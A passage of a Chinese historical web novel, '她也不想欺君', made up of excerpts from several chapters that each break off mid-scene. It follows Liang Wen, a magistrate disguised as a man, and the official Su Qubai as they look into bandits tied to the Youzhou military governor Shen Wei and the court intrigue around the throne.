撑着手起身,覆着的玄色外袍滑落,不是她的。 他们两人就这样对望了许久,梁温褪去身上披盖着的外袍,坐直身子将脚踩入靴中。 她没说话,苏瞿白反倒是先开口:“梁娘子,生辰快乐。” 梁温起身,身子有些晃,待稳住身形,才低头望向他:“你来只是为了说这个?” 她逆着光,脸上有些黯淡,眼神倒是一如既往的平淡。 苏瞿白扬脖看着她,有时他在想,她脸上时常神情寡素,什么时候那双冷淡的眼里也能有剧烈的情绪起伏。 他攥拳的手抬起,缓缓张开,露出一支银柄梨花簪。 “不喜欢吗?”他抬了许久,却始终不见梁温接过。 “你送错人了。”梁温唇齿微动,音色发凉。 “没送错,梁温梁娘子,送的就是你。” 两人无声对峙着,一上一下,一俯一仰。 苏瞿白站起身,凑近她:“梁娘子这是真把自己当成儿郎了。” 梁温向后退去一步,拉开距离:“不然我还能是什么?” 苏瞿白指腹抵着簪子尖,“梁温,你可是委屈了。” 梁温侧过头,“委屈?我委屈什么?” “那冠礼?” 梁温指骨摩挲,“苏少卿想多了,若是这便委屈,那我从小到大遭受的那些又算什么?” “你不能当一辈子男子。” 梁温语气生冷:“为何不能?我可以。” 苏瞿白步步紧逼:“可以什么,可以一辈子遮遮掩掩,可以一辈子躲躲藏藏,可以一辈子逆来顺受,无条件接受别人的安排?” 梁温猛地转身,两人之间只有咫尺的距离:“我可以,我怎么不可以。若是能活着,我就躲着,我就藏着,我就逆来顺受。这是我的选择,轮不到你来说三道四。” 她眼里蕴了怒意,指尖有些微微发颤。 “所以只要能活着,你就什么都可以?” “对。”她毫不迟疑回道。 “苏瞿白,你是站在什么立场来说教我?我和你之间除了利用就没别的纠葛了,我如何,你怎样,都是建立在共同利益上的。除此之外,我们与陌生人没什么区别。”梁温拉开他们之间的距离,舒了一口气。 苏瞿白笑起来:“梁娘子别生气,那就坚持你自己,努力的活下去。” 梁温觉得他有病。 苏瞿白伸手想整理她歪掉的发冠,却没想到才碰上发冠便坠落在地,金石相撞发出清脆的鸣响。 被束起的发散落开来,垂至腰间。 苏瞿白正好绕到她身后,拿出那支银柄梨花簪为她挽了简单的发, 18. 沈府惊云 《她也不想欺君》全本免费阅读 天色微亮,天地间起着薄雾,细密的小雨斜斜穿透白雾,瓦檐珠串似的雨滴哒哒的坠在地上,蓄起一汪积水。 诺大的府院中,却满是嘈杂的声响。 门庭挤满了衣彩鲜亮的丫鬟,脸上挂着焦急的神情,她们齐齐望向屋内,满地名瓷碎片,锦缎衣料。 她们堵住门,伸出白嫩的手拦着一名疯疯癫癫的美妇人,却又怕用力拉扯弄伤了她。 崔嬷嬷端着药快步跑来,几个机灵的丫鬟见了上前抱住美妇人,用力将她往屋内带,压在床上,禁锢住手脚。 崔嬷嬷也顾不得规矩,跪在床榻边,扼住美妇人的下巴,撬开她的牙关,将手中的药喂下去。 美妇人挣扎的厉害,药呛了几口咽下去,剩余的便都被她吐出来,顺着脖颈渗入被褥中。 崔嬷嬷见药灌不下去,便转头急促问道:“柳医女还没来吗?” “已经去请了,就快到了。” 她又问:“主君呢?” “主君一早就去了练武场,已经派人去找了,正往回赶呢。” 崔嬷嬷转回头,看见美妇人一脸痴狂样,便红了眼眶:“夫人,您清醒清醒啊。” 被崔嬷嬷唤作夫人的美妇人正是幽州节度使沈巍的妻子——卫云颍。 柳医女赶来前,崔嬷嬷又给卫云颍灌了一碗汤药,这次倒是没撒出来多少。 卫云颍挣扎的力度逐渐变小,疯狂混沌的意识平和下来,擒制着她的丫鬟们渐渐松开手脚,被崔嬷嬷调换出门。 崔嬷嬷看卫云颍的眼睛不断的流泪,目光呆滞,愣愣的一动不动,心里疼得紧。 她是卫云颍的奶嬷嬷,从小看着她长大,从一个奶娃娃到亭亭玉立的少女,后嫁人成为温婉的当家主母,再后来成了这副模样。 “夫人,夫人。”崔嬷嬷轻声唤着她。 卫云颍不看她,只是愣愣的流泪。 屋外有轻盈的脚步声,丫鬟轻声道:“崔嬷嬷,柳医女到了。” “快带进来。”崔嬷嬷起身。 扇门被打开,嘎吱声响起,一女子戴着幂篱,肩上背着药箱,被丫鬟带进来。那女子身上被雨水洇湿了裙摆,发丝间还有水雾,脚下也踩出着水印。 丫鬟将人带进后便阖上门退了出去。 崔嬷嬷凑近她:“柳医女,您可来了,快来看看我家夫人,今日才醒便犯病了。” 柳医女放下药箱,取下幂篱,转头露出一张清秀的脸来,此人正是那日状告公堂的女娘——柳薇。 柳薇坐在床榻旁摆放好的小杌上,从软被里拿出卫云颍的手,拨开柔软顺滑的衣袖,将手搭在皓白的腕间。 崔嬷嬷站在她跟前,静静的等候着柳薇号脉。 柳薇收回手,又在睁着眼的卫云颍的上方摆手:“喂了几碗药?” “两碗,第一碗才喝了两口便全吐了,后来又喂了一碗。”崔嬷嬷惴惴不安,眼里是遮掩不住的忧心:“是喝错药了吗?” “没事,那药本就是安神的,开的温和,两碗下去也不会有什么太大的影响。”柳薇摇头。 柳薇走至桌案旁,执笔写下两张药方递给崔嬷嬷:“崔嬷嬷,上面这张水煎内服,下面那张是药浴,还跟以前一样的用法。” “崔嬷嬷催着快些备好,一会儿我给夫人针灸,针灸结束后便要用。” “好。”崔嬷嬷接过迅速浏览一遍,便拿着药方出去了。 柳薇看向床榻上的美妇人,转身打开药箱,从里面拿出一截熏香,用燃着的蜡烛引燃,袅袅白烟蜿蜒向上飘去。 她走近,将熏香凑近卫云颍鼻尖,并用另一只手轻轻扇动,确保那白烟被卫云颍吸去。 卫云颍在熏香的作用下渐渐闭上眼,呼吸平稳的睡过去。她又从药箱中找出包着银针的布袋,一针一针刺进穴位,针尾快速的小幅度震颤着。 与此同时,府门口,红鬃烈马疾步驰来,街上的百姓向两旁躲闪着,目光追随着马背上的人。 府门口的小厮一见那道身影,立刻迎上去:“主君,您可回来了。” 沈巍翻身下马便往府里走去,小厮赶紧接过缰绳照料着他的爱马。 穿过曲折的长廊,终于到了主院,才进门,乌泱泱的丫鬟小厮跪了一地,低着头,沈巍抬手让他们起身便没在管往里面走去。 正好撞上端着药的崔嬷嬷,他手疾眼快的接过洒了几滴的汤药,问道:“夫人怎么样了?” “柳医女在里面呢,应当是没什么大碍。” 沈巍端着药推开门,往里走了两步便见床榻上的女人脑袋上扎满了银针,许是治疗结束,柳薇正往下取银针。 很快,一脑袋的银针皆被取下。 柳薇看向端着药的沈巍:“沈节度使来喂药吧。” 沈巍先将药递给她,扶着卫云颍的肩膀使她靠在自己怀中,又拿回汤药,轻轻撬开她的唇,一点点往里喂着。 卫云颍喉咙上下滑动,汤药被她咽下了。 崔嬷嬷紧跟着进来了,“柳医女,药浴也备好了。” 柳薇点头,向沈巍要人:“沈节度使,将夫人给我吧,我带她去泡药浴。” 沈巍松开禁锢着她的手,一把将卫云颍打横抱起:“我来。” 沈巍抱着人去了偏房,那里备好了木桶,里面是浸着苦涩药汁的热水。柳薇没跟进去,候在廊下。 沈巍褪下衣袍只剩下一身雪白里衣,卫云颍被剥了个干净,昏沉着意识被他抱进了桶中。 热气升腾,两人眉眼间起了水雾。 泡了半个时辰,卫云颍微微蹙眉,有了醒的前兆。 垂落在身侧的手动了,沈巍寻到握住,轻声道了句:“阿云。” 卫云颍缓缓睁开眼,眼神还有些涣散,过了片刻才回过神来,她看着眼前的情景,无悲无喜的问了句:“我又犯病了?” “没事的。”沈巍将她抱入怀中,轻声安慰着。 “我昨晚梦到皇兄了。”卫云颍在沈巍颈窝里轻蹭:“我还梦到那个孩子了。” 沈巍不说话了,只是用宽大的手扶着她的头发,一下又一下。 “好些年过去了,居然还能梦到。”卫云颍自顾自说着,也不管沈巍有没有听。 “饿不饿?”沈巍打算转移她的注意力,但他失败了。 “皇兄在对我笑,他在摸我的头。”卫云颍从水里抽出自己的手,指尖挑下一缕沈巍耳后的碎发,在指尖缠绕。 “还有那个孩子,我见到他了。”卫云颍突然起身,看向他,眼里赤坦真诚:“真的,只是醒来便记不得他的样貌了,只记得他很白,随你。” “嗯 19. 暗流涌动 《她也不想欺君》全本免费阅读 练兵场。 沈巍大马金刀坐在木凳上,看着眼前被勾画的凌乱的舆图。 屋门被推开,徐良推门而入,从怀中掏出密信递给沈巍。 沈巍打开细细看去,待看完便将密信烧干净。 “孙磊呢?” 徐良:“回盛京了,把孙有财也带走了。” “孙有财常年留守幽州帮他把持着这边的生意,如今却调走了。盛京出事了?” 这般想着,沈巍倒是先笑了:“孙家手伸的太长了,自是有人看不下去。” “主子,丰泽县那边?” 沈巍的目光落在舆图的一隅:“梁温,梁旭川之子?” “是,但梁温并没有任何调查他父亲死因的迹象。” 沈巍摸着指腹的厚茧,“不调查也好,凡事也不能太过较真。” “孙家那边盯紧点,他们可不是个安分的。” 徐良嗯了一声,又道:“主子,落定山那边最近总有不老实的人。” “大狱里出来的能有几个老实的,镇压不了便处理干净点。”话音才落,沈巍便又道:“算了,暗道那边先停下,目前的量也够用了。” 徐良:“关外的人蠢蠢欲动,最近又抓出十几个暗探。” 沈巍:“那就查,把这幽州给我筛干净了。尤其是落定山那边,关外连年大旱,早就饿极了盯着幽州这块肥肉呢。” “是。”徐良退下,守在门外。 练兵场地处山脚的平坦地带,每至夜浓便会起着薄雾,格外遮掩视线,尤其是夜间巡查时,故夜间巡逻的士兵安排的格外紧凑。 山间夜风寒凉,簌簌的吹打在一切东西上。 而屹立在练兵场前面的这座山起伏绵延不断,向关外延伸数百丈远,连接关内外,给了关外的暗探可乘之机。 这座山原本无名,但修筑了城墙,便被当地人唤作关山,后来代代相传,这名字便传了下来。 连着关外的关山山脚下,一支商队驻扎在此,火光灼灼,添些柴火时还有火星喷出,火上架着数十支木棍,棍上是冷硬的干粮。 最角落的帐篷里,三人围坐在一起,喝着烧开的米汤,一碗下去,只有碗底有些软糯的米粒。 “喝的一肚子水儿。”陈虎舔干净碗底的米粒,一脸无望的咬了口干巴得饼子。 “有你两口吃的就不错了。”追风将饼子泡在米汤里,觉得味道好了不少。 而他们身旁的苏瞿白则是拿着不完整的舆图,借着火光在上面勾画着。 陈虎越想越气:“这里的山盗匪寇实在是太嚣张了,沈巍是干什么吃的,也能容忍他们这般打家劫舍。” 追风明面上不说什么,心底却也气愤。 他们当时混进了商队,走至半途却被突来的山匪给劫了,为了不暴露便只能任由他们劫走十几车粮食。 好在那些山匪并非丧心病狂之徒,只是押走了粮食,没想过要他们一行人的性命。追风甚至觉得不可思议的是那些山匪还有些没泯灭的良知,给他们留下了一些干粮,不至于让他们饿死在回城的途中。 好在,他们想要的已经得手,要不然这一趟算是白来了。 “不对。”苏瞿白骤然出声。 陈虎愣愣的看他一眼:“什么不对?” “那些山匪不对劲。”苏瞿白放下手中的舆图,收回怀中。 追风递给他一碗没动过的米汤,苏瞿白接过饮了一口,滚烫驱赶着寒冷,僵硬的骨节贴在碗壁,也松缓下来。 “怎么不对劲?”陈虎顾不上吃了,追问道。 苏瞿白想着拿日高头大马上举着刀,有条不紊进行着每一步的山匪,说道:“他们可不像是山匪,更像是训练有素的练家子。” 追风闻言,仔细回想一番,猛地看向苏瞿白:“主子。” “嗯,就是你想的那样。” 陈虎丈二摸不着头脑,不知道他们在打什么哑迷:“什么意思?追风你给我说说呗。” 追风斜睨他一眼:“头脑简单,四肢发达。” “嘿,怎么说话呢你。”陈虎一把勒住追风的脖颈,用力拉扯:“我明明头脑也发达。” “追风,带着陈虎去查查。”苏瞿白下了命令,追风将剩下的饼子揣进怀里,带着陈虎便走了。 苏瞿白吃完饭后,找到了商队的领头人,交代几句也走人。 太乱了,所有的头绪毫无指向。 探查出来的线索连不成线,根本究不出前因后果。 这差事,还真是不好办啊。 苏瞿白想到盛京那位,皱了皱眉心。 得抓紧了,那位可不太好了。 苏瞿白日夜兼顾,隔天傍晚赶回了丰泽县,他踏入院中便见梁温身着雪白的里衣倚靠在软榻上,脚上未着片缕,踩在柔软的毛毯上。 他推门而入,梁温睁开眼看他。 苏瞿白取下干净的棉布向她走去,站在她身前,弯腰低头去勾她洇湿的发,拿着棉布一点点擦拭着。 梁温扯过自己的发,坐起身来。 “你出关了。” 苏瞿白嗯了一声,继续勾着她的发擦拭,“怎么猜到的?” “苏少卿下次来之前可以先换换装束。”梁温看他额前垂落的发丝,他身着耐用的麻布,腰间革带上还戴着商队的木牌,靴子满是污泥,关内近日无雨,而关外接连几场瓢泼大雨,厚硬的土地都雨水冲刷都松软起来,这污泥黏着,是关山脚下的泥土。 苏瞿白赞她一句:“梁娘子观察的细致入微。” “查到什么了?”梁温扯回正题。 “幽州山匪盛行肆虐,梁娘子可曾注意过?” “自我上任起,山匪便少有从关内劫货,且各地商队被劫后也鲜少报官,我还不曾过多查过。” 苏瞿白收回手,从怀中将舆图掏出递给她,“你瞧瞧。” 梁温打开,上面被朱红的颜料勾勒出路线。 “这是什么?”梁温见那路线单一,来回往返都需经过关外的关山脚下,离山匪不算远。 “这张舆图是从看守所里带出来的,上面的标红的路线正是关外商队必行的道路。而且有意思的是,山匪每次劫道都是粮车,不夺人钱财,不伤人性命,且训练有素。” “看守所是沈巍一手设下,事务由他全权负责。而山匪行动的路线图出现在看守所……沈巍与山匪相勾结。或者可以说,山匪就是沈巍的人。”梁温听懂了苏瞿白的言下之意。 苏瞿白敲定结论:“可以确定的是,山匪劫道是为粮。” 梁温闻言推开他,穿上鞋从柜子 20. 狼虎环饲 《她也不想欺君》全本免费阅读 苏瞿白这次没留在梁温院中,和梁温商议完后去了追风买的一处院子。 自打梁温与孙家搭上线后,县衙周围便总是出现一些练家子,梁温注意到了没管,苏瞿白为了不暴露便减少在县衙的存在,于是他让追风在不显眼的地方盘个院子,方便落脚。 追风买的巧,这院子就买在符家人旁边,占地不大,甚至能称得上一句简陋。 房瓦上长了成片的草,院子里随处可见瘸了腿的凳子,靠近房檐下的水井早就没了水,苏瞿白站在院门口逡巡许久。 追风只告诉他在北巷中盘下个院子,却没告诉他这院子破败的犹如城外八百年没人供奉过的庙宇一样。 普普通通的一进院,他抬脚拾上台阶,推开主屋的门,屋内摆件依然陈旧,但是胜在整洁干净,苏瞿白合衣躺到床上,准确来说是硬实的土炕。 房子实在不隔音,他听到隔壁符老头和符文华的讲话的声音,窸窸窣窣的,他们声音压的低,听不真切。 没过多久,这声音便没了,苏瞿白掷出一块银子,正正好好擦灭燃着的烛火,银子撞击在墙面上,坠落在地。 盛京已经许久没来信了,出来时日颇多,也该回去一趟了。 夜半,淅淅沥沥的小雨下了起来,苏瞿白被漏瓦滴落下来的雨滴浇醒。 他坐起身来,抹了下脸上的水渍。 真是找的一手好宅子。 竖日天亮便放了晴,苏瞿白褪下外衣抽出刀,走至院中耍起来。 锋利的刀刃泛着流银冷光,利落的挥舞着,招招生猛,划破长风。刀柄上系着红绸,刀刃横向斩去,将红绸中途截断,飘飘扬扬落在地上。 下盘稳健,脚步交替踩在水洼上溅起水花,下摆的裤腿被浸湿,最后刀刃向下劈去,离地面堪堪仅有几分的距离停下。 身上出了薄汗,苏瞿白收回刀吐了口浊气。 穿上外衣,他便提着刀走人。 集市上,元岐正坐在木凳上狼吞虎咽着,突然身边来了一群玩闹的小孩子,他的凳子腿不知道被哪个小孩子一撞给撞掉了,他整个人跌在地上,嘴里还叼着一根劲道的面条。 他赶紧把面条吸溜进嘴里,拿起掉落在地上的折扇仔细检查起来,见没有破损才心疼的抱入怀中,嘴里念叨着:“我的宝贝儿啊,得亏你没事啊。” 那几个小孩子见状,知晓自己做错了事,低垂着头,怯生生的看他。 元岐真的很想爆粗口,但看到眼前一排豆大的人又真说不出来什么狠话,最后只能摆摆手让他们赶紧走。 再回头,桌面上的汤面洒的哪哪都是,元岐瞬间没了任何食欲。 轻叹一声,便将铜板放在桌上准备走人。 抬眼,对上巷子口的目光,悠悠然换了方向,小心翼翼的观察着四周,这才向那里走去。 这个巷子里都是低矮的破落宅子,年久失修,定居在这里的大多数是上了年纪的人。元岐一路跟在那人身后,直到到了杳无人迹的田地边上,才驻了脚。 那人一身白衣,头戴幂篱,仅有一双柔荑能被窥见。 “怎么着,有事找我?”元岐站的松垮,一把甩开折扇,低垂着头看着上面的“义”字。 “半月后将梁温引到望畿山。”声音透着老态,呕哑嘲哳难听的紧,却又不像是正常老人的音色,显得格外怪异。 “怎么?按捺不住了?”元岐哂笑一声。 “按我说的做,别忘了,你的命在我手里。” 元岐不在意的应声:“嗯哼,我知道,你不用总是拿这个威胁我。我向来是个听话的,这你是知道的。” 那人沉默,随后才道:“你最好是,此间事了,我放你自由。” “别啊,多利用利用我呗,就和以前一样。”元岐根本不信,他嘲讽开口:“反正亏的又不是你。” 那人怒喝道:“元岐。” “听着呢。”元岐掏掏耳朵,示意自己耳朵不聋,不必要那么大声。 “半月后,我要在望畿山见到她。”那人不与元岐争辩,话落直接走人。 元岐刷的一声合上扇子,看着那人消失在自己眼前。 等元岐到了县衙时已经过了上衙的时辰,毫不意外的被梁温抓到了,梁温定好惩罚后把他扔给王主薄。 “画十幅王主薄的画像,由王主薄监督。” 元岐对上王主薄目光坚定的脸,瞬间颓了下来,对着梁温无情的背影喊道:“县令,能不能换个惩罚啊?我不会画啊!” 梁温头也不回。 王主薄一把揪住元岐的衣领子,一手抚着自己的胡子:“走吧,去我那儿。” “主薄,你看县令都走了,要不就算了吧。我请你喝酒去……”元岐的声音逐渐变弱:“要不,听曲也行。” 王主薄不为所动,“不感兴趣,我还是更想见识一下你的画技。” 元岐脸都苦成了菜色:“我哪有什么画技,滑稽还差不多。” 可惜,自嘲并不管用,元岐还是被拉走了。 梁温照常巡街,不过她这次特意绕着县衙走了一圈,却没发现往日里守在这里的练家子,孙家把人撤走了。 不可能是信任她,所以把人撤走了,要么是孙家出事了,要么就是孙家来人了。 梁温朝着身后衙役头招招手:“去孙府外宅那里盯着,孙家来人回来禀报。” 衙役俯首作揖走人,那人名叫牛青,时常在梁温跟前露脸,不过为人并不市侩圆滑,反倒是憨厚老实。 梁温观察了一段时间,见人没问题,且用的顺手,便也上心起来。 牛青确实好用,指哪打哪,对于梁温的吩咐从来都是只执行不问缘由,是个老实本分的聪明人。 梁温又巡视了几圈,才登上县衙的石阶,牛青便回来了。 “县令,孙家主君和孙家二郎都来了。属下还没到外宅,就在百花楼门口见到了人,还有一个人,应该是孙家主君的客人,身上的料子像是军中人穿的。” “嗯。”梁温所料不差的话,那个孙磊的客人应该就是沈巍。 这倒是有意思,他们不在幽州沈府上会面,反倒是来了这丰泽县。 梁温脚步一顿,随即回院中换了身常服,去了苏瞿白的宅子。 她到了北巷撞到了把脑袋探出宅门的符杳,符杳一见她羞涩的收回脑袋,随后又探出来朝她示好。 梁温倒是没想到,苏瞿白竟然将宅子买在了符家人旁边,她朝符杳摆摆手后推开了宅门。 老旧的木门褪去了朱红,嘎吱嘎吱的声音伴随着推开的木门响起,梁温轻碾着指腹上的灰,踏了 21. 融冰送温 《她也不想欺君》全本免费阅读 丰泽县县衙。 元岐呲牙咧嘴的蹲在椅子上,时不时抬头看两眼对面,随后低着头又是皱眉又是狂喜的,很是诡异。 他右手执笔画得那叫一个行云流水,左手的纸扇越扇越快。 就在衙役轮值换班时,元岐手腕一甩,沾着余墨的笔咕噜噜在地上滚了好几圈,纸扇重重合上,他拍桌而起:“就没见过这样好的佳作,这画功,这意境,简直前无古人后无来者。” 坐他对面的王主薄被惊得手腕一抖,直接将书页撕下一个小角来,他淡定的将那一角攒成一团,不动声色的藏进袖中,心中暗自叹了口气。 没事的。 习惯了。 换值的衙役齐齐看向他。 元岐抬眼看他,屁股一扭,双腿蓄力,从椅子上跳下来,一把扯过桌上的画纸,走到王主薄身前,啪的一声放在他面前。 王主薄就瞅了一眼,就一眼! 眼睛就跟被刀戳了一般,狠狠紧闭,眼周的皱纹顿生数十条,一颗心被高高悬起。 指着元岐的手都在颤抖:“你……你这个……” 元岐见他那样,直接伸手扯回佳作:“嘿,你也忒不懂得欣赏了。” 牛青离得近,有幸亲眼目睹了全程。 他瞎了,就在看到画的那一瞬间。 就在元岐想要一展佳作时,王主薄瞅准时机一把抢过,负手藏在身后,摸摸胡须:“挺好的,挺好的。不用再画了,就当你十张全部画完了。” 元岐故作为难模样:“……不好吧,县令要是问起来。” 王主薄梗着脖子,脸都憋红了:“我会帮你圆上的。” 元岐瞬间变脸,喜笑颜开道:“哎呀,王主薄,你可真是个大好人。” 王主薄皮笑肉不笑,旁边看热闹的衙役好奇的往他身后看去,想抢来看看,却因他平日里积攒下来的威望而作罢念头。 元岐美滋滋的坐回位子上,悠闲舒畅的饮了一口清茶。 王主薄打发了衙役后,去了角落里偷偷打开那幅画。 老脸一红,暗自怒骂一声:“成何体统。” 雪白的画卷上,簪着花,红着腮,长着络腮胡,比着兰花指,狭长豆大的眼满是深情,低垂着头捂嘴轻笑,下|身却翘着二郎腿,脚上赤裸,露出的一截小腿上有着绣花针般长的毛发。 好一幅刁钻刻薄、哄人生笑的小像。 王主薄来来回回翻看了好几遍,竟然硬生生看顺眼了。 与此同时,笔直的长街上,孙家的马车缓缓驶至县衙门口。 门口的衙役刚要上前询查,马夫却跳下车来,从腰间拿出一块银腰牌示向众人。 守值的衙役瞬间俯首,车帘被病态般白的手掀开,出来的正是孙家主事人——孙磊。 而后,被孙磊恭恭敬敬迎下车的,正是那银腰牌的主人——沈巍。 牛青正好巡视到此,他和同僚藏在柱后,待沈巍下车时,对着身后人道:“你去同院中的兄弟说一声。” 而他,则是悄声快步从后门跑掉了。 梁温刚出北巷就见到了牛青,果然不出她所料,牛青见她第一句话便是:“幽州节度使来了。” 梁温朝后望了一眼,随后带着牛青快步往回赶。 街角,苏瞿白与他们背向而驰。 待梁温赶回县衙时,实木门紧紧关着,她才登上台阶,门便被衙役推开,露出门后的一干人来。 梁温视线快速在他们身上掠过,最后停留在梁老夫人身上。 心下稍安。 她停在台阶下方,俯首作揖:“不知节度使远道而来,有失远迎,还望见谅。” 沈巍的目光落在下首,像是带着刺一般打量着她。 声音暗沉粗犷:“梁温?” 梁温抬眼:“正是在下。” 沈巍硬朗的五官突然柔和下来,“我见过你,长大了,越发好看了。” 梁温默声,柔声的轻笑响起,梁老夫人笑着唤她:“裴安,你当时还小,许是记不得了。” 梁老夫人拾阶而下,边走边道:“你父亲当年与节度使情谊深厚,你满日宴时节度使特意来府上瞧过你。” 话落,梁老夫人已经站到梁温身旁,同梁温一起,向上看着沈巍一行人。 气氛和谐又僵硬。 沈巍爽朗笑道:“是啊,他当时确实太小了,就那么大点,跟个团子似的。我一生无子,且与梁兄交好,在我心中,梁温与我亲子无异,以后有事尽管来找我。” 梁温也挂上笑:“节度使身份尊贵,卑职只是小小的七品官,平日里还望您多多提携。” 沈巍踏下台阶,将手搭在她单薄的肩上:“岂能妄自菲薄,县令好啊,以后的路长着呢。” 他收回手,对上梁老夫人:“我此行来,就是来拜访拜访您。许久未见,心中也多了几分牵挂。如今瞧见您身康体健,也放下心来。时候不早了,就不叨扰了。” 沈巍这便大踏步离去,孙磊似笑非笑地睨了眼梁温,便跟着离开了。 梁温挥手遣散了门口聚集的一行人,扶着梁老夫人的手向内院走去。 行至院中,梁温便问道:“祖母,沈巍和您说什么了?” 梁老夫人抚了抚她的手,“放心吧,没说什么,就是一些关切人的场面话。” 梁温嗯了一声,随后问出心中疑惑:“沈巍与父亲是旧识?” 梁老夫人脸上笑意淡了些:“你父亲好结亲友,旧识没个三五百都对不起他整日外出交际。沈巍与你父亲好到何种程度我不知,但人家主动提及,也没必要去抹他的面子。” 刘嬷嬷提着壶新茶进来,给她们二人分别倒了一杯。 “你尝尝,这是咱们自家庄子上产的,数目不多。”梁老夫人轻呷了口。 梁温饮了一口便作罢:“涩味更重了些。” “这是一泡的茶汤,滋味自是不一样。”梁老夫人倒是喜欢。 梁温的视线滞留在浓厚的茶汤上,梁老夫人打眼一看便道:“你心不静。” 没等她说什么,梁老夫人便调笑道:“可是这茶苦着你了?” 转头朝着刘嬷嬷道:“快提壶往日里的茶来,没瞧见主子不爱喝。” “是。”刘嬷嬷立刻提着茶壶走人。 梁温哪能看不出她的意思,这是在清人呢。 “好久没陪祖母下棋了,来一局?” “好。” 梁温执白子,她执黑子。 嫩白细腻的手与褶皱疲老的手在棋盘上一来一回交互着,白子与黑子 22. 风雨欲来 《她也不想欺君》全本免费阅读 梁温回到院中,看到元宝一脸愤恨的盯着不请自来的苏瞿白。 元宝见到她,一路小跑到她身后,委委屈屈道:“郎主,这人忒没礼数了,您都不在,他凭什么直接登门而入。” 说完,眼睛瞪的滴溜圆,看向苏瞿白:“他还玩弄你的小乌龟。” 苏瞿白一副可热闹不嫌事大的靠在栏杆处,手里捏着乌龟的壳。 乌龟完完全全缩进壳里,一露脑袋便被苏瞿白推回去,行为极其恶劣。 元宝平日里对那乌龟喜爱极了,见此更是恨不得上前夺过,好好抚慰一番。 梁温上前接过乌龟,转身对着元宝道:“这就是他的乌龟。” 元宝哑口无言,哼的一声出了院门。 苏瞿白一下笑出声来:“你身边倒净是些有趣之人。” “比不上你。” 乌龟又畏缩的将头伸出,苏瞿白伸出手指想要给它戳回去,梁温见此一下将他的手打回去。 苏瞿白调笑:“怎么,这不是我的吗?还不能碰了?” “刚才是你的,现在是我的。” 梁温推开书房的门,苏瞿白紧随其后。 乌龟被放回瓷盆里,终于自在的伸出四肢来,慢慢的绕着盆底打转。 苏瞿白正经起来:“沈巍同你们说了什么?” “一些冠冕堂皇的客套话。” 苏瞿白推开窗:“客套话?” “借我父亲之名,行关切之意。” “这可不像他。”苏瞿白语气轻,梁温没听太清:“你说什么?” “没。”他又倚靠在那软榻上,整个人跟没了骨头一样,懒散恣意。 “正值农时,你这个县令也要忙起来了。” “嗯。”确实如此,梁温身为县令,有劝课农桑、征集赋税之责。 “梁温,圣上大概是要不行了。”苏瞿白抬手掩在眸上,透着红意的唇翕合着。 梁温笔尖一顿,滴落的墨汁污了宣纸。 “为什么说这个?” “圣上年轻时是先帝的庶长子,但生母是先帝不喜的端妃,故不受先帝待见。后中宫嫡子降生便被封为当朝储君,由先帝一手教养长大,也就是废太子。后来储君被废,皇子间争夺不断,死伤无数,先帝心寒,遗留之际传旨立圣上为储君。”苏瞿白平稳的讲述着往事。 “先帝死后,圣上登基。在位期间,并无功绩,还因听信谗言害死朝中数位圣贤良将。圣上登基时已近不惑,十几年过去,身上沉疴冗病尽显,现如今更是时常陷入昏迷。怕是离大限不远了。” 梁温听得认真,苏瞿白的语气里并无太多恭敬之意。 “圣上子嗣稀少,仅有三子两女。其中皇长子和三皇子为中宫嫡出,其余为后宫妃嫔所出。皇长子李恪两年前被立为储君,而其他两位皇子尚且年幼,无力争抢帝位。圣上驾崩后,不出意外,继位的定是太子李恪。” “太子待人宽厚,知人善任,爱才惜才,睿智兼听,是不可多得的良主。” 梁温悄声走至苏瞿白身边,伸手攥住他的手腕,对上他黑沉沉的眸子:“苏瞿白,你到底想要我怎么做,直言便是,我不聪慧,听不出你的言下之意。” 苏瞿白反手攥住她的手,反问道:“你当真听不懂?” 梁温挣开:“掺和进幽州的浑水里已是艰难求生,盛京那边我不想插手。” “这是你唯一的生路。”苏瞿白语气有些沉:“梁温,你若是想安稳的活下去,就不应该踏上官途,更不应该自请下放到幽州丰泽县。你走的每一步,都是不归路。” “那是我能选的吗?”梁温心尖冒火,脸上呈现怒态。 “所有人都在推着我走,走上那条不归路。”梁温浑身有些发颤,眼眶有些发红。 明明她才是最委屈的那个。 来到陌生的朝代,被人挟着命往前走,被迫接受所有的后果。 “苏瞿白,这条路是你们给我选的,你也是其中一个。”梁温背过身,眼角罕见的有些湿润:“我只是想活着。” “你在怕什么?”苏瞿白率然起身,走到她身前。 两人离得近,仅有方寸距离。 “女扮男装进官场你怕不怕?搅进幽州浑水你怕不怕?” “你怕,但你还是走了。那就注定了,活命对你来说太过奢侈。” 梁温骤然抬眼:“那不是我。” 声音平静了几分,字节却吐的清晰:“苏瞿白,那不是我。现在你看到的,贪生怕死的才是我。” “现在的才是我。” 对弈之间,梁温小心翼翼却又愤然慷慨的将被掩盖的真相道出。 她缓了缓情绪,道:“苏瞿白,不管你信不信,现在站在你面前的我,才是如今的梁温。和以前,没有任何关系。” 梁温没指着他信,但苏瞿白却说:“我信,你说什么我都可以无条件相信。” “你想要生路,所以我给你一条生路。” 苏瞿白扼住梁温的下巴,指腹擦去她眼角的湿润:“梁温,我给你生路,你可要抓紧了。” “我和你说了那么多不是在逼你,你的生路就在盛京。” “幽州迟早是众矢之的,你也迟早会暴露在大众面前。”苏瞿白说着,手指顺着脖颈停在那处凸起处,轻按了按:“你的伪装还没有好到天衣无缝的地步。” 两人靠的太近了,鼻息喷洒在颈侧,泛出一片酥麻痒意。 “嗯。”梁温后退一步,保持着自认为最安全的距离。 “梁温,不要怕。把它当成你的敲门砖,我会保你。”苏瞿白收回手,意犹未尽的捻了捻指腹,直至残存的温度褪去。 梁温心中茫然丛生:“苏瞿白,我不明白?” “不明白什么?”苏瞿白语气温柔,耐心的等着。 “每个人接近或者付出都是有目的的,你呢?你的目的又是什么?”梁温眼中有些渴求和疑惑,直接问道:“你为什么帮我?你又要向我索要什么报酬?” “人生哪来那么多为什么,想帮就帮了。”苏瞿白眉梢轻挑:“梁温,我从来都是随心而动。” 话落,房门被敲响,元宝的声音在门外响起:“郎主,牛青来寻您了。” 梁温嗯了一声,推开门时转头对着他道:“苏瞿白,我好像又重新认识了你一遍。” 苏瞿白唇角勾起。 梁温才出院门,便见到了守在那里的牛青:“怎么了?” “县令,刘元找您。” 梁温一时没想起来是谁,想了好一会儿才道:“他找我?” “嗯,我去牢狱关押嫌犯时他伸手拽住我的衣角,吵着闹着要见您。说是有什么要事要说,我怕耽搁便来内 23. 暗中筹谋 《她也不想欺君》全本免费阅读 等梁温再度返回时,院中又多了两道身影。 陈虎和追风抱拳俯首,苏瞿白为她介绍道:“追风,陈虎。” 